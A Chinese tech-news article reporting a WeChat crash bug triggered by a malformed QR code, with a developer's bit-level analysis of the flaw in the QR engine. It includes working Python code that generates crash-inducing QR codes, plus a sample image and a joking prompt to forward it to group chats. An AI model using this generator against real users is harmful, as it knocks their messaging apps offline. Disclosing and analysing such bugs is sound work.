微信闪退Bug罪魁祸首竟是二维码引擎,附源代码分析

建议别尝试:转发这个二维码到群里,3秒后你会回来骂我(抖m求骂)07a20ad8560e855d9a179a7d33d21d37.png

c123a99f190eb3990ba13c4f7286bbf9.png

近日,网传微信识别上方二维码就会出现闪退BUG,小编也忍不住尝试了一下,果然,一识别该二维码微信立马就出现了闪退的现象:

eb6d16dc6e344129b9fd8c6afdc6324a.gif

且会出现“微信运行异常,建议前往软件商店更新至最新版本”的提示。

64554aeeb1935245b10711357dcd0e7e.png

随后,小编又对该二维码进行了转发测试,亦是如此,将二维码转发给好友后微信又出现闪退情况:

b558111097349099d3f9974973edc93d.gif

在手机微信中无需识别,仅仅是点击该二维码,微信就会出现闪退:

63a863cc3be780ee19f1ad831ef9b03b.gif

在微信电脑端,小编测试发现苹果电脑点击该二维码同样会出现闪退现象,但是小编的 Windows 10 测试则正常无闪退。

0e43518c50f3c9ddbfff530ddb16f76c.png

目前该二维码除了导致闪退外未发现其他副作用。

对于此次闪退事件,有网友发文解释称:目前微信闪退崩溃是因为 OCR 识别系统出现了内存崩溃导致的,这个图片导致了微信内存泄漏,所以会闪退崩溃。闪退问题不会涉及个人隐私问题和封号和资金泄漏问题,目前该功能已经在加急加班的修复中。

2b37590e8351980f0c3e9dab08a1eb1f.jpeg

不过上述对于微信闪退的解释也只是网友观点,截止发稿,腾讯官方还未公开回应。

前面有提到,由于这张二维码图片导致内存泄漏,进而引发微信闪退。而造成此问题的根源是 “微信二维码引擎”——

  1. 它会自动识别聊天列表中的二维码

  2. 当用户打开聊天列表,微信二维码引擎识别到这张二维码的时候出现了空指针异常,导致二维码模块崩溃

  3. 最终 “祸及” 整个微信客户端

另外,不只是微信,其他腾讯系的软件如果使用了同样的二维码引擎,应该都有这个问题。参考此issue的反馈
https://github.com/opencv/opencv_contrib/issues/3478

d87f597ced7f921d19f8dce48f10b7de.png

从公开的资料可知,该引擎已在 2021 年开源,并合并到了 OpenCV。

开源地址:https://github.com/WeChatCV

OpenCV 全称为 Open Source Computer Vision Library,是一个跨平台的开源计算机视觉和机器学习软件库,可用于开发实时的图像处理、计算机视觉以及模式识别程序。

d5cf0406922445bd5e4804cf53007519.png

62bcfbf49b5b4e1fd66f290bbdd9cf50.png

根据开发者的分析,引发微信闪退的二维码属于 “畸形二维码”,这类二维码包含的错误数据块会导致微信二维码模块中的 libqbar.so 崩溃,进而引发软件闪退。

下面内容来自开发者的分析:

这是一张用微信扫描就会 crash 的二维码,应该是微信 OCR 的实现有问题,以及如果发在群聊里可能会导致群聊的人都闪退(因为微信会自动识别二维码)

UPDATE: 腾讯系的软件应该都有这个问题

感觉主要出锅的地方在:

[0100] [00000001] []
Mode Indicator : 8-bit Mode (0100)
Character Count Indicator : 1
Decoded data :

因为队友说似乎是 null deref,直接遍历解码到后期的时候发现了以下的问题,填充和 RS 在这样的扫描下直接被吃掉了:

{value: '00000001', type: 'Char. count indicator', decoded: 1, modules: Array(8)}
{value: '10011111', type: 'Message data', decoded: '\x9F', modules: Array(8)}
{value: '0000', type: 'Mode indicator', decoded: 'Terminator', modules: Array(4)}
{value: '0010', type: 'Mode indicator', decoded: 'Alphanumeric mode', modules: Array(4)}
{value: '100111001', type: 'Char. count indicator', decoded: 313, modules: Array(9)}
{value: '01100111100', type: 'Message data', decoded: 'II', modules: Array(11)}
{value: '01100010011', type: 'Message data', decoded: 'HM', modules: Array(11)}
{value: '10100001110', type: 'Message data', decoded: 'SY', modules: Array(11)}
{value: '00110010000', type: 'Message data', decoded: '8+', modules: Array(11)}
{value: '01110011111', type: 'Message data', decoded: 'KR', modules: Array(11)}
{value: '01101010111', type: 'Message data', decoded: 'J0', modules: Array(11)}
{value: '01110100010', type: 'Message data', decoded: 'KU', modules: Array(11)}
{value: '10000011011', type: 'Message data', decoded: 'NG', modules: Array(11)}
{value: '11101010111', type: 'Message data', decoded: '-Y', modules: Array(11)}
{value: '1101', type: 'Message data', decoded: '0D', modules: Array(4)}
{value: '', type: 'Message data', decoded: NaN, modules: Array(0)}
{value: '', type: 'Message data', decoded: NaN, modules: Array(0)}

提取出的数据来看,在到达最后一个 8-bit Mode 后是一个不可见字符 \x9f 和正常的终止符号,但在之后本应该是 padding 的 11101100 和 11101100 却不见了踪迹,后续的 block 恰好被解析为了 Alphanumeric mode,长度块标准为 9 bit,并且读取出其长度为 313,导致后续的数据被解析为了奇怪的内容,并且直接开始越界解析。

但是尝试复现并未成功构造一个可以被微信复现的二维码,并且 qrazybox 也被这样的长度标识欺骗了,但是在上面的例子里并没有,似乎整个问题比想象的复杂:

Final data bits :
00101111111110000101110100010001010001110011000010100000111011000001000111101100000100011110110000010001111011000001000111101100
[0010] [111111111] [0000101110100010001010001110011000010100000111011000001000111101100000100011110110000010001111011000001000111101100]
Mode Indicator : Alphanumeric Mode (0010)
Character Count Indicator : 511
Decoded data : 2333AA76%J5L1QVFA.380Cundefinedundefinedundefinedundefinedundefined……
Final Decoded string : 2333AA76%J5L1QVFA.380C

忽略了一个核心问题,这个二维码的数据区已经被完全填满(224 bit),解码器可能会因为遇到 padding pattern 而提前 break,打算再去构造一下。

构造成功了,成功让微信崩溃了!几个要点:

1. 数据需要绝对无填充,不可以出现 padding pattern
2. 最后一个 block 的记录长度要尽可能的长,与什么模式无关

理论上只要能够找到合适的 data block 组合,恰好填充满二维码的容量,并在最后一个 0 长 block 中写入一个越界的长度,并保证上述所有数据 RS 纠错码生成正确,就可以实现崩溃了。

附上复现用的代码,可根据任意文本内容构造畸形二维码:

import qrcode
from qrcode.util import QRData, MODE_8BIT_BYTENUM_BLOCKS = [19, 34, 55, 80, 108, 136, 156, 194, 232]def tencent_crash_qrcode(message: str, filename='crash.png'):def hack_put(self, num, length):if num == 0:num = 1for i in range(length):self.put_bit(((num >> (length - i - 1)) & 1) == 1)data = message.encode('utf-8')data_len = len(data)version = 1while version <= len(NUM_BLOCKS) and data_len + 3 > NUM_BLOCKS[version-1]:version += 1if version > len(NUM_BLOCKS):raise Exception('message too long')data += b' ' * (NUM_BLOCKS[version-1] - data_len - 3)print(data_len, version)qr = qrcode.QRCode(version, qrcode.constants.ERROR_CORRECT_L)comm_data = QRData(data, MODE_8BIT_BYTE)hack_data = QRData(b'', MODE_8BIT_BYTE)qr.add_data(comm_data, 0)qr.add_data(hack_data, 0)original_put = qrcode.util.BitBuffer.putqrcode.util.BitBuffer.put = hack_putqr.make_image().save(filename)qrcode.util.BitBuffer.put = original_puttencent_crash_qrcode('KFCVW50')

 最后,附上一个通过脚本生成的畸形二维码。

e5b9b1fb1701f074a4b5ac87e3e6459b.png


前不久 3 月 29 日凌晨,腾讯旗下的微信和 QQ 等业务也曾出现崩溃状况,包括微信语音对话、朋友圈、微信支付,以及 QQ 文件传输、QQ 空间和 QQ 邮箱在内的多个功能无法使用。直到 3 月 29 日早间,腾讯微信团队才回应表示,经工程师抢修,系统正在逐步恢复。

48d652246527f1386054a250280dba5d.png

而后腾讯也将此次事故定义为公司一级事故。

工信部在听取腾讯公司关于 “3・29” 微信业务异常情况汇报后,要求腾讯公司进一步健全安全生产管理制度、落实网络运行保障措施,坚决避免发生重大安全生产事故,切实提升公众业务安全稳定运行水平。

119ffdd862ee6a9b547661f0688c792b.png

9e9afc68530a4b2bd4fa9b76a4b8e2df.png扫码关注87ccbf773cc3b24ba3f1b58463ddf15b.png

779f60f0d861a87c10f30fea7a82a1c8.jpeg

 
 

1、抖音服务器带宽有多大,才能供上亿人同时刷?2、Java网络编程之UDP和TCP套接字3、一天吃透计算机网络八股文4、IDE装上ChatGPT,彻底炸裂!5、求求你们了,别再重复造轮子了,一个 Spring 注解轻松搞定循环重试功能!6、全球最大ChatGPT开源平替来了!支持35种语言,写代码、讲笑话全拿捏

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/10121.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

浅谈大模型时代的后台技术发展

1、前言 随着互联网的快速发展&#xff0c;大数据、人工智能、大模型等技术的兴起&#xff0c;大模型时代已经到来&#xff0c;也让后台工程面临着新的挑战和机遇&#xff1a; 大模型时代下&#xff0c;AI 对后台的计算能力和存储能力提出了更强要求&#xff0c;以满足更高的性…

陆奇最新演讲全文实录、完整PPT和视频:大模型带来的新范式

本文约34000字&#xff0c;建议阅读20分钟 陆奇博士以“新范式”为核心&#xff0c;分享了他对当前技术变革的观点。 面临一场快速到来的技术变革&#xff0c;比较有效的方法是去剖析&#xff1a;事物的内在结构&#xff0c;它的发展体系&#xff1b;什么是稳定不变的&#xff…

GPT上车只为人车交互?车企还在憋大招

ChatGPT改造汽车的序幕已经拉开&#xff0c;奔驰率先出手。 不久前&#xff0c;梅赛德斯-奔驰将ChatGPT集成到了车机上&#xff0c;开启了为期三个月的测试&#xff0c;结果显示&#xff0c;它的语音助手不仅可以完成简单地指令&#xff0c;还能进行连续多轮对话&#xff0c;理…

【Bard vs. GPT-4】谷歌一雪前耻!全新PaLM 2反超GPT-4,办公全家桶炸裂升级,Bard史诗进化

在人工智能领域,自然语言处理一直是一个备受关注的领域。近日,谷歌发布了全新的PaLM 2,这一新技术一经问世,就引起了广泛的关注。 【更多阅读】 Google I/O 2023 全球开发者大会 Reveal Event_禅与计算机程序设计艺术的博客-CSDN博客 【人工智能】谷歌的巴德聊天机器人向公…

亚马逊Q4利润下滑98%/ 盖茨:ChatGPT意义不亚于互联网诞生/ ICLR 2023放榜… 今日更多新鲜事在此...

日报君 发自 凹非寺量子位 | 公众号 QbitAI 大家好&#xff0c;今天是2月3日&#xff0c;星期五。 喜欢下班的打工人们&#xff0c;今天可以喜提本周第七次&#xff08;也是最后一次&#xff09;下班了&#xff01; 来跟日报君看看科技圈的今日大事吧。 ICLR 2023放榜&#xff…

抖音究竟对线下生意有没有价值?

&#x1f446;戳上方增长黑盒Growthbox点亮星标⭐深度研究不错过&#xff01; 主笔&#xff1a;邹小困 研究员&#xff1a;彬超、Emma 出品&#xff1a;增长黑盒研究组 01 防火防盗防抖音 互联网世界的后起之秀字节跳动&#xff0c;如同进击的巨人&#xff0c;在短短几年内就已…

网传微软苏州被一锅端/ ChatGPT要出App/ Meta元宇宙年亏900亿…今日更多新鲜事在此...

日报君 发自 凹非寺量子位 | 公众号 QbitAI 大家好&#xff0c;今天是2月2日星期四&#xff0c;7天的超长工作日就要过去啦&#xff5e; 快和日报君看看&#xff0c;今天科技圈有哪些新鲜事吧。 网传微软苏州一锅端&#xff0c;赔偿N12&#xff0c;后有人辟谣 近日&#xff0c;…

最实用的网上赚钱方法:这个方法真的很实用哦!

​  线上兼职 疫情居家期间有哪些比较好的线上兼职可以做&#xff1f; 线上批改作业兼职app有哪些&#xff1f; 1、爱作业 免费帮助小学一至六年级学生家长和老师批改数学作业。爱作业现支持应用题、选择题、判断题、填空题、解方程、竖式计算等小学阶段各类题型的识别和批改…

【ChatGPT】程序员的半个老师,今天简单讲讲使用心得

【ChatGPT】程序员的半个老师&#xff0c;简单讲讲今天的使用心得 程序员有个玩笑叫做复制黏贴&#xff0c;原来的百度谷歌只能是碎片层面&#xff0c;有了chatGPT&#xff0c;可以实现更深层次的复制黏贴&#xff0c;直接帮你写好整个方法和实现步骤&#xff0c;不再是简单的…

问了ChatGPT几个硬件问题

第一次试用ChatGPT&#xff0c;问了如下几个问题&#xff1a; 天线增益这种说法不准确&#xff0c;天线是无源器件&#xff0c;不可能放大&#xff1f; 请问如何检测锂电池的损耗&#xff0c;只量电压够不够&#xff1f; 画电路板lavout注意事项&#xff1f; 变压器EQ2514和EQ2…

有哪些职业是 ChatGPT 无法取代的?

ChatGPT等人工智能技术的崛起&#xff0c;使得越来越多的职业受到了冲击。 但是&#xff0c;在某些职业领域中&#xff0c;ChatGPT仍然难以完全取代人类的角色。 接下来就跟大家讨论一下有哪些职业无法被ChatGPT所取代吧&#xff01;&#xff01;&#xff01; 第一个&#x…

ChatGPT修炼指南和它的电力畅想

近期&#xff0c;ChatGPT刷屏各大社交平台&#xff0c;无疑成为人工智能界最靓的仔&#xff01; 身为一款“会说话”的聊天机器人程序&#xff0c;它与前辈产品Siri、小度、微软小冰等有什么不同&#xff1f;先来听听小伙伴们怎么说。 ChatGPT何以修炼得这么强大&#xff1f;…

本地部署 Whisper 及 WhisperDesktop

本地部署 Whisper 及 WhisperDesktop 1. 什么是 Whisper2. Github 地址3. 创建虚拟环境4. 安装 ffmpeg5. 部署 Whisper6. 使用 Whisper(20230514追加)Windows 本地部署 WhisperDesktop下载 WhisperDesktop下载语音模型使用 WhisperDesktop 1. 什么是 Whisper Whisper 是一个通…

使用Docker本地部署chatgpt

作用&#xff1a;实现本地访问chatgpt 1.安装docker 下载安装包完成之后&#xff0c;先不要立即安装&#xff1a; docker默认安装在c盘&#xff0c;而且手动选不了安装位置&#xff0c;需要提前配置安装到别的地方&#xff1a; cmd控制台执行以下代码&#xff08;记得提前在目…

5分钟带你了解什么是ChatGPT,人工智能对于未来的趋势

AI&#xff0c;也就是常说的人工智能&#xff0c;是近些年来比较火的话题。而ChatGPT也应运而生&#xff0c;它是OpenAI公司研发的智能聊天机器人程序。可以用文本的形式对其进行提问&#xff0c;针对你提问的问题&#xff0c;使用了Transformer神经网络架构和机器视觉&#xf…

OpenAI透露ChatGPT未来发展计划:要与人类价值保持一致

编&#xff5c;张倩、陈萍 源&#xff5c;机器之心 OpenAI 推出的 ChatGPT 非常强大&#xff0c;但依然存在一些问题&#xff0c;比如输出编造或带有偏见的内容、定制化程度低…… 在最新的一篇博客中&#xff0c;OpenAI 披露了他们未来的一些改进计划。 OpenAI 的使命是确保通…

ChatGPT认知白皮书(2023)

ChatGPT是OpenAl开发的智能聊天机器人程序。不仅能像人类一样来聊天交流&#xff0c;甚至能完成撰写邮件、视频脚本、文案、翻译、代码等任务。ChatGPT自发布以来爆火全球&#xff0c;月活破亿用时仅2个多月&#xff0c;被称为"史上用户增长最快的消费者应用"。凭借其…

ChatGPT4也来了,大语言模型未来可期?注重当下很关键!

当地时间周二&#xff08;3月14日&#xff09;&#xff0c;人工智能研究公司OpenAI公布了其大型语言模型的最新版本——GPT-4。该公司表示&#xff1a;“GPT-4在许多专业测试中表现出超过绝大多数人类的水平。”在内部评估中&#xff0c;GPT-4产生正确回应的可能性要比GPT-3.5高…

北京场:聚焦HR的未来发展,一起探索ChatGPT的“能”与“不能”

2023年4月20日&#xff0c;AI得贤TMS与51社保联合举办的“HR高管闭门会”在北京成功落幕。 这次闭门会以聚焦HR的未来发展&#xff0c;探索ChatGPT的“能”与“不能”为主题&#xff0c;20多位企业高管和HR管理者们齐聚一堂共同探讨AI招聘的未来。 在活动开始&#xff0c;资深专…